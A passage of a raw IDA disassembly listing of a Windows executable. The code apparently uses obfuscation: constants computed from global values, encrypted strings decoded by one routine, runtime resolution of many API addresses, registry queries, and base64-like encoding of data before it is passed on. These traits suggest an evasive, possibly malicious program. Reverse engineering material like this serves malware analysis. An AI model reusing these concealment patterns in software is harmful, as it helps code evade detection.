loc_442306 movsx edi, word_551240 sub edi, 8 jmp short loc_441DCC ; --------------------------------------------------------------------------- loc_441D61: ; CODE XREF: sub_441D1A+C5j mov eax, 30h mul edi mov [ebp+var_208], eax cmp ds:dword_4CC564[eax], esi jnz short loc_441D96 mov eax, 30h mul edi mov [ebp+var_20C], eax push ds:dword_4CC568[eax] call ds:dword_48B9FC jmp loc_442306 ; --------------------------------------------------------------------------- loc_441D96: ; CODE XREF: sub_441D1A+5Bj mov eax, 30h mul edi mov [ebp+var_20C], eax cmp ds:dword_4CC560[eax], esi jnz short loc_441DCB mov eax, 30h mul edi mov [ebp+var_210], eax push ds:dword_4CC564[eax] call ds:dword_48B9FC jmp loc_442306 ; --------------------------------------------------------------------------- loc_441DCB: ; CODE XREF: sub_441D1A+90j inc edi loc_441DCC: ; CODE XREF: sub_441D1A+45j movsx eax, word_551210 mov edx, dword_5511BC lea eax, [eax+edx+59h] cmp edi, eax jb short loc_441D61 jmp loc_442306 ; --------------------------------------------------------------------------- loc_441DE6: ; CODE XREF: sub_441D1A+26j movsx eax, word_551128 mov edi, eax add edi, dword_551174 sub edi, 0Ch jmp short loc_441E14 ; --------------------------------------------------------------------------- loc_441DFA: ; CODE XREF: sub_441D1A+10Aj mov eax, 30h mul edi mov [ebp+var_208], eax mov eax, ds:dword_4CC56C[eax] cmp [ebp+arg_C], eax jz short loc_441E26 inc edi loc_441E14: ; CODE XREF: sub_441D1A+DEj mov eax, dword_551140 add eax, 63h add eax, dword_551180 cmp edi, eax jb short loc_441DFA loc_441E26: ; CODE XREF: sub_441D1A+F7j mov eax, dword_5511B0 add eax, 5Dh cmp edi, eax jz loc_442306 push 0FFh lea eax, [ebp+var_103] push eax mov eax, 30h mul edi mov [ebp+var_20C], eax push ds:dword_4CC558[eax] call ds:dword_54FF38 movsx eax, word_5511A4 mov byte ptr [ebp+eax+var_20C+2], 4Bh movsx eax, word_55113C mov edx, dword_5511D8 sub edx, 4 mov byte ptr [ebp+eax+var_20C+1], dl movsx eax, word_5511A8 add eax, dword_5510E8 mov [ebp+eax+var_204], 7Ch lea eax, [ebp+var_103] push eax lea eax, [ebp+var_204] push eax call ds:dword_44802C add esp, 8 push 0FFh lea eax, [ebp+var_103] push eax mov eax, 30h mul edi mov [ebp+var_210], eax push ds:dword_4CC560[eax] call ds:dword_54FF38 mov eax, dword_55120C movsx edx, word_551194 add eax, edx movsx eax, [ebp+eax+var_108] mov edx, dword_5511C8 add edx, dword_55111C sub edx, 0Ah cmp eax, edx jnz short loc_441F59 push offset word_551D36 call sub_43CAF7 pop ecx movsx edx, word_551138 sub edx, 3 push edx mov edx, dword_5511F4 add edx, dword_5510AC sub edx, 10h push edx push eax mov edx, dword_551140 add edx, dword_5510B8 sub edx, 5 push edx call ds:dword_50E938 mov eax, 30h mul edi mov [ebp+var_214], eax push ds:dword_4CC560[eax] call ds:dword_48B9FC jmp loc_442306 ; --------------------------------------------------------------------------- loc_441F59: ; CODE XREF: sub_441D1A+1E1j push offset byte_551D31 call sub_43CAF7 push eax lea edx, [ebp+var_204] push edx call ds:dword_44802C lea eax, [ebp+var_103] push eax lea eax, [ebp+var_204] push eax call ds:dword_44802C add esp, 14h push 0FFh lea eax, [ebp+var_103] push eax mov eax, 30h mul edi mov [ebp+var_214], eax push ds:dword_4CC564[eax] call ds:dword_54FF38 mov eax, dword_5510AC movsx eax, [ebp+eax+var_10A] mov edx, dword_551098 add edx, dword_5510C0 sub edx, 0Bh cmp eax, edx jnz short loc_442028 push offset byte_551D0F call sub_43CAF7 pop ecx mov edx, dword_551140 add edx, dword_5510C8 sub edx, 2 push edx mov edx, dword_5511F8 add edx, dword_55116C sub edx, 8 push edx push eax movsx edx, word_551148 dec edx push edx call ds:dword_50E938 mov eax, 30h mul edi mov [ebp+var_218], eax push ds:dword_4CC564[eax] call ds:dword_48B9FC jmp loc_442306 ; --------------------------------------------------------------------------- loc_442028: ; CODE XREF: sub_441D1A+2B2j push offset word_551D0A call sub_43CAF7 push eax lea edx, [ebp+var_204] push edx call ds:dword_44802C lea eax, [ebp+var_103] push eax lea eax, [ebp+var_204] push eax call ds:dword_44802C add esp, 14h push 0FFh lea eax, [ebp+var_103] push eax mov eax, 30h mul edi mov [ebp+var_218], eax push ds:dword_4CC568[eax] call ds:dword_54FF38 mov eax, dword_551154 movsx eax, [ebp+eax+var_10B] movsx edx, word_551210 add edx, dword_55123C sub edx, 5 cmp eax, edx jz loc_4421CB lea ecx, [ebp+var_103] or eax, 0FFFFFFFFh loc_4420AB: ; CODE XREF: sub_441D1A+396j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4420AB mov edx, eax mov ecx, dword_55122C movsx eax, word_551208 add ecx, eax sub ecx, 4 cmp edx, ecx jb loc_4421CB mov eax, dword_55122C sub eax, 7 mov [ebp+var_105], al jmp short loc_442100 ; --------------------------------------------------------------------------- loc_4420DE: ; CODE XREF: sub_441D1A+3FFj movzx eax, [ebp+var_105] mov al, [ebp+eax+var_103] cmp al, 30h jl short loc_4420F4 cmp al, 39h jle short loc_4420F9 loc_4420F4: ; CODE XREF: sub_441D1A+3D4j jmp loc_4421CB ; --------------------------------------------------------------------------- loc_4420F9: ; CODE XREF: sub_441D1A+3D8j add [ebp+var_105], 1 loc_442100: ; CODE XREF: sub_441D1A+3C2j lea ecx, [ebp+var_103] or eax, 0FFFFFFFFh loc_442109: ; CODE XREF: sub_441D1A+3F4j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_442109 movzx ecx, [ebp+var_105] cmp ecx, eax jb short loc_4420DE mov eax, dword_5511E0 add eax, dword_55120C sub eax, 8 mov [ebp+var_104], al jmp short loc_4421A7 ; --------------------------------------------------------------------------- loc_442131: ; CODE XREF: sub_441D1A+4A6j mov al, [ebp+var_104] mov [ebp+var_219], al jmp short loc_442168 ; --------------------------------------------------------------------------- loc_44213F: ; CODE XREF: sub_441D1A+467j movzx eax, [ebp+var_219] movsx eax, [ebp+eax+var_103] movzx edx, [ebp+var_104] movsx edx, [ebp+edx+var_103] cmp eax, edx jnz short loc_442183 add [ebp+var_219], 1 loc_442168: ; CODE XREF: sub_441D1A+423j lea ecx, [ebp+var_103] or eax, 0FFFFFFFFh loc_442171: ; CODE XREF: sub_441D1A+45Cj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_442171 movzx ecx, [ebp+var_219] cmp ecx, eax jb short loc_44213F loc_442183: ; CODE XREF: sub_441D1A+445j movzx eax, [ebp+var_219] movzx edx, [ebp+var_104] sub eax, edx mov edx, dword_5510BC add edx, 3 cmp eax, edx jg short loc_4421CB add [ebp+var_104], 1 loc_4421A7: ; CODE XREF: sub_441D1A+415j lea ecx, [ebp+var_103] or eax, 0FFFFFFFFh loc_4421B0: ; CODE XREF: sub_441D1A+49Bj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4421B0 movzx ecx, [ebp+var_104] cmp ecx, eax jb loc_442131 jmp loc_442267 ; --------------------------------------------------------------------------- loc_4421CB: ; CODE XREF: sub_441D1A+382j ; sub_441D1A+3AEj ... mov eax, dword_551170 add eax, 7CCh push eax call ds:dword_50E924 push offset a5 ; "5" call sub_43CAF7 mov [ebp-21Ch], eax push offset word_551CBA call sub_43CAF7 mov edx, dword_551108 sub edx, 8 push edx push eax mov edx, [ebp-21Ch] push edx mov edx, dword_55122C add edx, dword_5510EC sub edx, 8 push edx call ds:dword_50E938 push offset word_551CB6 call sub_43CAF7 add esp, 10h push eax mov eax, 30h mul edi mov [ebp+var_220], eax mov edx, eax push ds:dword_4CC568[edx] call ds:dword_54E954 mov eax, 30h mul edi mov [ebp+var_224], eax push ds:dword_4CC568[eax] call ds:dword_48B9FC jmp loc_442306 ; --------------------------------------------------------------------------- loc_442267: ; CODE XREF: sub_441D1A+4ACj push offset byte_551CB1 call sub_43CAF7 push eax lea edx, [ebp+var_204] push edx call ds:dword_44802C lea eax, [ebp+var_103] push eax lea eax, [ebp+var_204] push eax call ds:dword_44802C mov eax, 30h mul edi mov [ebp+var_228], eax push ds:dword_4CC558[eax] call ds:dword_48C1E8 lea eax, [ebp+var_204] push eax call ds:dword_449014 add esp, 18h push 5 mov eax, 30h mul edi mov [ebp+var_22C], eax push ds:dword_4CC554[eax] call ds:dword_54E958 mov eax, 30h mul edi mov [ebp+var_230], eax movsx eax, word_551198 movsx edx, word_5511CC add eax, edx sub eax, 0Ah mov edx, [ebp+var_230] mov ds:dword_4CC550[edx], eax loc_442306: ; CODE XREF: sub_441D1A+1Bj ; sub_441D1A+2Cj ... mov edi, dword_5511DC jmp loc_4423E8 ; --------------------------------------------------------------------------- loc_442311: ; CODE XREF: sub_441D1A+6E1j mov eax, 30h mul edi mov [ebp+var_8], eax cmp esi, ds:dword_4CC55C[eax] jnz short loc_442348 push [ebp+arg_C] push [ebp+arg_8] push ebx push esi mov eax, 30h mul edi mov [ebp+var_C], eax push ds:dword_4CC57C[eax] call ds:dword_4CE8F8 jmp loc_442401 ; --------------------------------------------------------------------------- loc_442348: ; CODE XREF: sub_441D1A+608j mov eax, 30h mul edi mov [ebp+var_10], eax cmp esi, ds:dword_4CC568[eax] jnz short loc_44237F push [ebp+arg_C] push [ebp+arg_8] push ebx push esi mov eax, 30h mul edi mov [ebp+var_14], eax push ds:dword_4CC578[eax] call ds:dword_4CE8F8 jmp loc_442401 ; --------------------------------------------------------------------------- loc_44237F: ; CODE XREF: sub_441D1A+63Fj mov eax, 30h mul edi mov [ebp+var_18], eax cmp esi, ds:dword_4CC560[eax] jnz short loc_4423B3 push [ebp+arg_C] push [ebp+arg_8] push ebx push esi mov eax, 30h mul edi mov [ebp+var_1C], eax push ds:dword_4CC570[eax] call ds:dword_4CE8F8 jmp short loc_442401 ; --------------------------------------------------------------------------- loc_4423B3: ; CODE XREF: sub_441D1A+676j mov eax, 30h mul edi mov [ebp+var_20], eax cmp esi, ds:dword_4CC564[eax] jnz short loc_4423E7 push [ebp+arg_C] push [ebp+arg_8] push ebx push esi mov eax, 30h mul edi mov [ebp+var_24], eax push ds:dword_4CC574[eax] call ds:dword_4CE8F8 jmp short loc_442401 ; --------------------------------------------------------------------------- loc_4423E7: ; CODE XREF: sub_441D1A+6AAj inc edi loc_4423E8: ; CODE XREF: sub_441D1A+5F2j mov eax, dword_5510E8 add eax, 5Eh movsx edx, word_5510B4 add eax, edx cmp edi, eax jb loc_442311 loc_442401: ; CODE XREF: sub_441D1A+629j ; sub_441D1A+660j ... pop edi pop esi pop ebx leave retn 10h sub_441D1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442408 proc near ; CODE XREF: sub_43E501+A6p ; sub_43E501+DCp var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 104h push esi push edi mov edi, [ebp+arg_4] movsx eax, word_5510D0 movsx edx, word_551148 add eax, edx sub eax, 7 cmp byte ptr [edi+eax], 2Eh jz short loc_442474 push [ebp+arg_0] lea eax, [ebp+var_104] push eax call ds:dword_44B1A4 push offset dword_551CAC call sub_43CAF7 push eax lea esi, [ebp+var_104] push esi call ds:dword_44802C push edi lea eax, [ebp+var_104] push eax call ds:dword_44802C lea eax, [ebp+var_104] push eax call sub_4460DD add esp, 20h loc_442474: ; CODE XREF: sub_442408+25j pop edi pop esi leave retn sub_442408 endp ; =============== S U B R O U T I N E ======================================= sub_442478 proc near ; CODE XREF: sub_43D0C6+C3p ; sub_43D0C6+122p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov ebx, [esp+8+arg_0] mov esi, [esp+8+arg_4] mov ecx, dword_551214 add ecx, 1Dh mov eax, dword_55121C movsx edx, word_5511F0 add eax, edx sub eax, 9 sub ecx, eax jmp short loc_4424BE ; --------------------------------------------------------------------------- loc_4424A0: ; CODE XREF: sub_442478+4Ej mov dx, [ebx+ecx*2] cmp dx, [esi+ecx*2] jnb short loc_4424AE xor eax, eax jmp short loc_4424CB ; --------------------------------------------------------------------------- loc_4424AE: ; CODE XREF: sub_442478+30j mov dx, [ebx+ecx*2] cmp dx, [esi+ecx*2] jbe short loc_4424BD xor eax, eax inc eax jmp short loc_4424CB ; --------------------------------------------------------------------------- loc_4424BD: ; CODE XREF: sub_442478+3Ej dec ecx loc_4424BE: ; CODE XREF: sub_442478+26j mov eax, dword_551224 dec eax cmp ecx, eax jge short loc_4424A0 xor eax, eax inc eax loc_4424CB: ; CODE XREF: sub_442478+34j ; sub_442478+43j pop esi pop ebx retn sub_442478 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4424CE proc near ; CODE XREF: sub_440A1B+27Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_8] mov ebx, [ebp+arg_C] xor edi, edi jmp short loc_4424FF ; --------------------------------------------------------------------------- loc_4424DE: ; CODE XREF: sub_4424CE+37j mov edx, ds:dword_44B9E0[edi*4] mov ds:dword_448008, edx push offset sub_43F41A push ebx push esi push [ebp+arg_4] push [ebp+arg_0] call ds:dword_448008 inc edi loc_4424FF: ; CODE XREF: sub_4424CE+Ej cmp edi, dword_5512A4 jb short loc_4424DE pop edi pop esi pop ebx pop ebp retn sub_4424CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44250C proc near ; CODE XREF: sub_44726D+1E1p ; sub_44726D+204p ... var_4B = byte ptr -4Bh var_19 = byte ptr -19h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi call ds:dword_54EA70 mov [ebp+var_4], eax mov ebx, [ebp+arg_0] mov esi, dword_5510B8 sub esi, 4 jmp short loc_442578 ; --------------------------------------------------------------------------- loc_44252C: ; CODE XREF: sub_44250C+7Ej mov edx, dword_5511EC sub edx, 3 cmp ds:dword_44A0E0[esi*4], edx jz short loc_442577 mov edx, ds:dword_4CD950[esi*4] mov ecx, dword_5510D8 add ecx, 0EA5Ah mov eax, dword_5510A0 add eax, dword_551158 dec eax imul ecx, eax add edx, ecx cmp edx, [ebp+var_4] jnb short loc_442577 mov edx, dword_5511B0 sub edx, 7 mov ds:dword_44A0E0[esi*4], edx loc_442577: ; CODE XREF: sub_44250C+30j ; sub_44250C+59j inc esi loc_442578: ; CODE XREF: sub_44250C+1Ej mov eax, dword_5511D0 add eax, 3E0h add eax, dword_5510EC cmp esi, eax jb short loc_44252C loc_44258C: ; CODE XREF: sub_44250C+A3j ; sub_44250C+256j mov eax, [ebx] mov [ebp+var_10], eax lea ebx, [ebx+eax] mov eax, ebx sub eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jnb loc_442768 movsx eax, word_551164 add eax, 3 cmp [ebp+var_10], eax ja short loc_44258C mov eax, ebx sub eax, [ebp+arg_0] mov edx, dword_551158 add edx, dword_551124 dec edx sub eax, edx mov [ebp+var_8], eax mov ecx, ebx or eax, 0FFFFFFFFh loc_4425CD: ; CODE XREF: sub_44250C+C6j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4425CD mov [ebp+var_C], eax mov eax, dword_551248 mov edi, eax add edi, dword_5510AC sub edi, 0Bh jmp short loc_44261E ; --------------------------------------------------------------------------- loc_4425E9: ; CODE XREF: sub_44250C+11Ej mov edx, dword_5511EC add edx, dword_5510A4 sub edx, 0Ah cmp ds:dword_44A0E0[edi*4], edx jz short loc_44261D mov edx, [ebp+var_8] cmp ds:dword_449020[edi*4], edx jnz short loc_44261D mov dl, ds:byte_44B1B0[edi] cmp dl, [ebp+arg_10] jz loc_44274D loc_44261D: ; CODE XREF: sub_44250C+F3j ; sub_44250C+FFj inc edi loc_44261E: ; CODE XREF: sub_44250C+DBj mov eax, dword_55120C add eax, 3E4h cmp edi, eax jb short loc_4425E9 mov eax, dword_551188 add eax, 3BBh cmp [ebp+var_C], eax jbe loc_4426F7 mov eax, dword_551120 inc eax add eax, dword_5511BC push eax lea eax, [ebp+var_4B] push eax call sub_43EDF9 add esp, 8 mov eax, dword_5511BC add eax, 3B2h movsx edx, word_5511C4 add eax, edx mov [ebp+var_14], eax mov eax, dword_55122C sub eax, 7 mov [ebp+var_18], eax loc_442679: ; CODE XREF: sub_44250C+1E9j mov eax, [ebp+var_14] mov al, [ebx+eax] mov [ebp+var_19], al mov eax, [ebp+var_14] movsx edx, word_5511C4 add edx, dword_5511F4 sub edx, 11h mov [ebx+eax], dl push offset dword_449FE0 push [ebp+var_C] push [ebp+var_18] lea eax, [ebp+var_4B] push eax mov eax, [ebp+arg_C] push dword ptr [eax] push [ebp+arg_0] push ebx push [ebp+arg_8] movsx eax, word_551208 dec eax and eax, 0FFh push eax call sub_442B82 add esp, 24h mov eax, [ebp+var_14] mov [ebp+var_18], eax mov dl, [ebp+var_19] mov [ebx+eax], dl mov eax, dword_551230 add eax, 3BFh add [ebp+var_14], eax mov eax, [ebp+var_C] cmp [ebp+var_14], eax jbe short loc_4426ED mov [ebp+var_14], eax loc_4426ED: ; CODE XREF: sub_44250C+1DCj mov eax, [ebp+var_C] cmp [ebp+var_18], eax jnb short loc_442748 jmp short loc_442679 ; --------------------------------------------------------------------------- loc_4426F7: ; CODE XREF: sub_44250C+12Dj push offset byte_551CA7 call sub_43CAF7 push offset dword_449FE0 push [ebp+var_C] movsx edx, word_5511A4 movsx ecx, word_551198 add edx, ecx sub edx, 7 push edx push eax mov edx, [ebp+arg_C] push dword ptr [edx] push [ebp+arg_0] push ebx push [ebp+arg_8] mov edx, dword_5510A0 add edx, dword_551114 sub edx, 4 and edx, 0FFh push edx call sub_442B82 add esp, 28h loc_442748: ; CODE XREF: sub_44250C+1E7j mov eax, [ebp+arg_C] inc dword ptr [eax] loc_44274D: ; CODE XREF: sub_44250C+10Bj mov eax, [ebp+var_C] lea ebx, [ebx+eax] inc ebx mov eax, [ebp+arg_C] mov edx, dword_551228 add edx, 0Ch cmp [eax], edx jbe loc_44258C loc_442768: ; CODE XREF: sub_44250C+90j push offset byte_551CA3 call sub_43CAF7 push offset dword_449FE0 mov edx, dword_5511D8 movsx ecx, word_5510D0 add edx, ecx sub edx, 0Ah push edx movsx edx, word_55113C sub edx, 9 push edx push eax push edx movsx edx, word_5511A4 sub edx, 6 push edx movsx edx, word_551118 sub edx, 8 push edx push [ebp+arg_8] mov edx, dword_5511E0 add edx, dword_5511E4 sub edx, 7 and edx, 0FFh push edx call sub_442B82 add esp, 28h pop edi pop esi pop ebx leave retn sub_44250C endp ; =============== S U B R O U T I N E ======================================= sub_4427D3 proc near ; CODE XREF: sub_446ED7+25p push edi push offset word_551C96 call sub_43CAF7 pop ecx push eax call ds:dword_44B598 mov dword_551264, eax mov eax, dword_5511B8 add eax, dword_551204 sub eax, 6 cmp dword_551264, eax jnz short loc_442818 push offset byte_551C89 call sub_43CAF7 pop ecx push eax call ds:dword_48C218 mov dword_551264, eax loc_442818: ; CODE XREF: sub_4427D3+2Cj push offset byte_551C77 call sub_43CAF7 push eax push dword_551264 call ds:dword_44B1AC mov ds:dword_44B08C, eax push offset byte_551C67 call sub_43CAF7 push eax push dword_551264 call ds:dword_44B1AC mov ds:dword_44B084, eax push offset dword_551C54 call sub_43CAF7 push eax push dword_551264 call ds:dword_44B1AC mov ds:dword_550048, eax push offset dword_551C40 call sub_43CAF7 push eax push dword_551264 call ds:dword_44B1AC mov ds:dword_44B5D4, eax push offset byte_551C31 call sub_43CAF7 push eax push dword_551264 call ds:dword_44B1AC mov ds:dword_50E93C, eax push offset dword_551C20 call sub_43CAF7 add esp, 18h push eax push dword_551264 call ds:dword_44B1AC mov ds:dword_48C1EC, eax pop edi retn sub_4427D3 endp ; =============== S U B R O U T I N E ======================================= sub_4428C5 proc near ; CODE XREF: sub_446ED7+2Ap push edi push offset word_551C12 call sub_43CAF7 pop ecx push eax call ds:dword_44B598 mov dword_55125C, eax movsx eax, word_5511C4 sub eax, 8 cmp dword_55125C, eax jnz short loc_442906 push offset dword_551C04 call sub_43CAF7 pop ecx push eax call ds:dword_48C218 mov dword_55125C, eax loc_442906: ; CODE XREF: sub_4428C5+28j push offset word_551BF2 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_44B5C8, eax push offset dword_551BE0 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_4CE914, eax push offset byte_551BC9 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_44B5A4, eax push offset word_551BB6 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_4CD93C, eax push offset byte_551BA5 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_50E930, eax push offset asc_551B97 ; "\n" call sub_43CAF7 push eax call sub_445A0A mov ds:dword_54E958, eax push offset byte_551B85 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_44B090, eax push offset asc_551B79 ; "\b" call sub_43CAF7 push eax call sub_445A0A mov ds:dword_48B9FC, eax push offset asc_551B6D ; "\b" call sub_43CAF7 push eax call sub_445A0A mov ds:dword_4CE8F4, eax push offset byte_551B59 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_54EB00, eax push offset byte_551B49 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_448018, eax push offset byte_551B37 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_44B5AC, eax push offset word_551B26 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_449FD0, eax push offset dword_551B14 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_54FF38, eax push offset byte_551B01 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_4CE8F8, eax push offset dword_551AF0 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_54E950, eax push offset byte_551AE3 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_448004, eax push offset dword_551AD4 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_4CC548, eax push offset dword_551AC0 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_449018, eax push (offset asc_551AB0+2) call sub_43CAF7 push eax call sub_445A0A mov ds:dword_449000, eax push offset dword_551A9C call sub_43CAF7 push eax call sub_445A0A mov ds:dword_449010, eax push offset word_551A8A call sub_43CAF7 push eax call sub_445A0A mov ds:dword_54E954, eax push offset byte_551A79 call sub_43CAF7 push eax call sub_445A0A mov ds:dword_48C1E8, eax push offset word_551A6A call sub_43CAF7 push eax call sub_445A0A add esp, 0C0h mov ds:dword_50E938, eax pop edi retn sub_4428C5 endp ; =============== S U B R O U T I N E ======================================= sub_442B06 proc near ; CODE XREF: sub_446ED7+302p push 2 call sub_443DB2 push 0 call sub_443DB2 add esp, 8 retn sub_442B06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442B18 proc near ; CODE XREF: sub_44181A+79p ; sub_44181A+197p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push edi lea eax, [ebp+var_4] push eax push 20019h movsx eax, word_5510CC dec eax push eax push [ebp+arg_4] push [ebp+arg_0] call ds:dword_44B59C mov edi, eax or edi, edi jz short loc_442B45 xor eax, eax jmp short loc_442B7F ; --------------------------------------------------------------------------- loc_442B45: ; CODE XREF: sub_442B18+27j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] mov eax, dword_5510E4 add eax, dword_5511B0 sub eax, 0Ch push eax push [ebp+arg_8] push [ebp+var_4] call ds:dword_44804C mov edi, eax push [ebp+var_4] call ds:dword_4CE904 or edi, edi jz short loc_442B7C xor eax, eax jmp short loc_442B7F ; --------------------------------------------------------------------------- loc_442B7C: ; CODE XREF: sub_442B18+5Ej xor eax, eax inc eax loc_442B7F: ; CODE XREF: sub_442B18+2Bj ; sub_442B18+62j pop edi leave retn sub_442B18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442B82 proc near ; CODE XREF: sub_43E284+CAp ; sub_44250C+1B5p ... var_2F038 = dword ptr -2F038h var_2F033 = byte ptr -2F033h var_F034 = dword ptr -0F034h var_F030 = dword ptr -0F030h var_F02B = byte ptr -0F02Bh var_F02A = dword ptr -0F02Ah var_F022 = byte ptr -0F022h var_EF23 = byte ptr -0EF23h var_EE24 = byte ptr -0EE24h arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp mov eax, 2F038h call sub_4475B4 push ebx push esi push edi movsx edi, word_551164 imul edi, 3C0h movsx esi, word_5510C4 add esi, 0EA5Ah lea edi, [edi+esi+3C0h] shl edi, 1 mov [ebp+var_2F038], edi push edi call sub_447539 add esp, 4 mov [ebp+var_F02A], eax movzx eax, [ebp+arg_0] movsx edx, word_5511CC add edx, dword_5511EC sub edx, 0Bh cmp eax, edx jnz short loc_442C05 push offset asc_551A5F ; "\a" call sub_43CAF7 add esp, 4 push eax lea edi, [ebp+var_EE24] push edi call ds:dword_50E928 add esp, 8 jmp loc_442DD8 ; --------------------------------------------------------------------------- loc_442C05: ; CODE XREF: sub_442B82+5Ej call ds:dword_48C1F0 mov ebx, eax mov [ebp+var_F02B], bl push offset byte_551A3D call sub_43CAF7 add esp, 4 push eax lea edi, [ebp+var_EF23] push edi call ds:dword_44B1A4 add esp, 8 movzx eax, [ebp+arg_0] movsx edx, word_551148 add edx, dword_55116C sub edx, 4 cmp eax, edx jnz short loc_442CA6 movsx eax, word_551194 mov edx, dword_5510C0 lea eax, [eax+edx+4] and eax, 0FFh push eax lea eax, [ebp+var_F022] push eax push [ebp+arg_8] call sub_443795 add esp, 0Ch push offset byte_551A29 call sub_43CAF7 add esp, 4 movzx edi, [ebp+var_F02B] push edi lea edi, [ebp+var_F022] push edi lea edi, [ebp+var_EF23] push edi push eax lea edi, [ebp+var_EE24] push edi call ds:dword_50E928 add esp, 14h loc_442CA6: ; CODE XREF: sub_442B82+C5j movzx eax, [ebp+arg_0] movsx edx, word_5510B4 add edx, dword_551124 sub edx, 7 cmp eax, edx jnz loc_442DD8 movsx eax, word_5511A4 movsx edx, word_5510F8 add eax, edx sub eax, 0Bh and eax, 0FFh push eax lea eax, [ebp+var_F022] push eax push dword_5512C4 call sub_443795 add esp, 0Ch push offset word_5519E2 call sub_43CAF7 add esp, 4 mov edi, [ebp+arg_18] mov esi, [ebp+arg_8] mov ebx, edi add ebx, esi push ebx movsx ebx, word_551148 mov edx, dword_551134 lea ebx, [ebx+edx+3] push ebx push [ebp+arg_1C] push edi push [ebp+arg_14] movzx edi, [ebp+var_F02B] push edi mov edi, esi sub edi, [ebp+arg_C] movsx esi, word_55113C add esi, dword_5511B8 sub esi, 9 sub edi, esi push edi push offset dword_48C200 push [ebp+arg_10] push [ebp+arg_20] lea edi, [ebp+var_F022] push edi lea edi, [ebp+var_EF23] push edi push eax lea edi, [ebp+var_EE24] push edi call ds:dword_50E928 add esp, 38h mov eax, dword_551224 cmp [ebp+arg_10], eax jnz short loc_442DD8 dec eax cmp [ebp+arg_18], eax jnz short loc_442DD8 push offset word_5519BE call sub_43CAF7 add esp, 4 push offset byte_54EB10 movsx edi, word_551104 mov esi, dword_551114 lea edi, [edi+esi+5] push edi push [ebp+arg_20] lea edi, [ebp+var_F022] push edi lea edi, [ebp+var_EF23] push edi push eax lea edi, [ebp+var_2F033] push edi call ds:dword_50E928 add esp, 1Ch lea eax, [ebp+var_2F033] push eax lea eax, [ebp+var_EE24] push eax call ds:dword_44802C add esp, 8 loc_442DD8: ; CODE XREF: sub_442B82+7Ej ; sub_442B82+13Aj ... push [ebp+var_2F038] push [ebp+var_F02A] movsx eax, word_5511CC add eax, dword_5510E4 sub eax, 0Dh neg eax push eax lea eax, [ebp+var_EE24] push eax movsx eax, word_551244 sub eax, 7 push eax push 0 call ds:dword_50E934 push offset asc_5519A4 ; "\t" call sub_43FEC5 add esp, 4 push eax call ds:dword_44900C mov [ebp+var_F030], eax push [ebp+var_F02A] call ds:dword_44900C mov [ebp+var_F034], eax push eax push [ebp+var_F030] mov eax, [ebp+arg_4] push eax mov ebx, [eax] call dword ptr [ebx+104h] push [ebp+var_F030] call ds:dword_54FF34 push [ebp+var_F034] call ds:dword_54FF34 lea esp, [ebp-2F044h] pop edi pop esi pop ebx leave retn sub_442B82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442E73 proc near ; CODE XREF: sub_43F41A+B4p var_7 = byte ptr -7 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push eax push ebx push esi push edi mov ebx, [ebp+arg_4] mov esi, [ebp+arg_8] mov eax, ebx add eax, 2 mov ecx, 3 mov edx, 0AAAAAAABh mul edx shr edx, 1 mov [ebp+var_4], edx mov edi, edx shl edi, 2 mov edx, [ebp+arg_C] dec edx cmp edi, edx jbe short loc_442EAB xor eax, eax jmp loc_442FAB ; --------------------------------------------------------------------------- loc_442EAB: ; CODE XREF: sub_442E73+2Fj push offset a@ ; "@" call sub_43CAF7 pop ecx push eax push offset byte_54FF40 call sub_4475D4 jmp short loc_442EF8 ; --------------------------------------------------------------------------- loc_442EC3: ; CODE XREF: sub_442E73+98j push esi push [ebp+arg_0] call sub_43F98E add 